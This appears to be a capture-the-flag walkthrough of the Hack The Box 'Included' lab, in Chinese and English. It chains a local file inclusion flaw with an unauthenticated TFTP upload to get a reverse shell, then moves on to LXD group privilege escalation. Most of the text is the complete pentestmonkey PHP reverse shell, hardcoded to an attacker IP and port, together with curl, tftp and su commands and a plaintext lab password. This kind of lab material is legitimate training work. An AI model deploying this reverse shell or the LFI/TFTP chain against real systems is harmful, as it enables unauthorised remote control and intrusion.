[StartingPoint][Tier2]Included

LXD

https://www.hackingarticles.in/lxd-privilege-escalation/

Task 1

What service is running on the target machine over UDP?

（目标机器上通过UDP运行的服务是什么？）

$ nmap -sU 10.129.232.86 -p 69

tftp

Task 2

What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

(端口80上托管的网页容易受到哪一类漏洞的影响？)

$ nmap -sC -sV 10.129.232.86 --min-rate 1000

$ curl http://10.129.232.86/?file=/etc/passwd

本地文件包含

Local File Inclusion

Task 3

What is the default system folder that TFTP uses to store files?

(TFTP 默认使用的系统文件夹是什么？)

/var/lib/tftpboot/

Task 4

Which interesting file is located in the web server folder and can be used for Lateral Movement?

(位于网络服务器文件夹中且可用于横向移动的有趣文件是哪个？)

简单文件传输协议(TFTP)是一种简单的协议，提供基本的文件传输功能，不需要用户身份验证。TFTP适用于不需要文件传输协议(FTP)提供的复杂交互的应用程序。

缺省情况下，TFTP不需要身份验证。这意味着任何人都可以连接到TFTP服务器并从远程系统上传或下载文件。
我们可以将此链接到我们已经识别的LFI漏洞，以便将恶意PHP代码上传到目标系统，该系统将负责向我们返回一个反向shell。然后我们会访问这个
PHP文件通过LFI和web服务器将执行PHP代码。

//-webshell.php-
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.7';  // CHANGE THIS
$port = 10032;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}
?>

$ tftp 10.129.226.19

tftp> put webshell.php

再次验证,的确写入成功

$ curl http://10.129.226.19/?file=php://filter/read=convert.base64-encode/resource=/var/lib/tftpboot/webshell.php|base64 -d

反弹shell

$ curl 'http://10.129.226.19/?file=/var/lib/tftpboot/webshell.php'

$ ls -al /var/www/html

.htpasswd

Task 5

What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

(“Mike”用户所属的组，并且可能被利用进行特权提升的是哪个？)

升级shell

$ SHELL=/bin/bash script -q /dev/null

$ cat /var/www/html/.htpasswd

$ su mike

Sheffield19

lxd

Task 6

When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

(在利用容器来攻击系统时，我们寻找一个非常小的发行版。我们用于此任务的最爱被命名为山脉。那个发行版的名称是什么？)

LXD 是 Linux 系统上处理 LXC 容器的管理 API。它会为本地 lxd 组的任何成员执行任务。它不会尝试将调用用户的权限与要执行的功能匹配(LXD 不会根据调用它的用户的权限来限制其执行的功能。换句话说，无论是哪个用户调用了 LXD，它都将执行请求的操作，而不考虑调用用户的权限级别。)。

该漏洞利用了Alpine映像，这是一个基于busy box的轻量级Linux发行版。下载并在本地构建此发行版之后，使用HTTP服务器将其上传到远程系统。然后将映像导入到LXD中，并使用它以root权限挂载Host文件系统

$ searchsploit lxd
$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh ./lxd.sh